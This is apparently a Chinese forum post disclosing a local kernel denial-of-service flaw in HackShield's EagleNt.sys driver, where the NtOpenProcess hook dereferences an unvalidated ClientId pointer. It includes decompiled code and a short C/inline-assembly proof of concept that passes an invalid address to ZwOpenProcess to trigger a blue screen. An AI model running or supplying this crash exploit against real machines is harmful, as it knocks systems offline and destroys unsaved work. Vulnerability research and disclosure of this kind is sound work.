HackShield    EagleNt.sys  本地内核拒绝服务漏洞 

影响范围:  HackShield

漏洞细节:


代码:
v26 = (int)ClientId;
  InterlockedIncrement(&dword_29D10);
  if ( !v26 )
    goto LABEL_14;
    ......

xxxx(......*(_DWORD *)v26,......) 
  


EagleNt.sys  在自己的NtOpenProcess HOOK函数中参数检测不严格 ,没有验证参数的正确性就直接使用,并且没有使用SEH来捕捉函数中的异常

虽然程序有检查ClientId是否为0,但是可惜的是ClientId是一个指针(PCLIENT_ID  ClientId),只要我们随便传递一个不为0的非法地址就可以触发异常..

测试代码:


代码:
int main(int argc, char* argv[])
{
printf("HS 0day  By 单行\n");
printf("请保存好你的数据,按下回车键后激活0day\n");
getchar();

GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwOpenProcess");
__asm
{
    push 1  //ClientId  地址
    push 0
    push 0
    push 0
    call eax
}
return 0 ;
}
以上代码运行在有HackShield驱动的机器上就可以触发蓝屏


这篇文章的格式是按照MJ0011博客里面的那种格式写的......小弟初学0DAY,有错误的地方麻烦各位大大指出.....


各位大大们别喷我,我只是个菜鸟


感言:
想不到HackShield这种“高级”产品上面,也有这种“低级”漏洞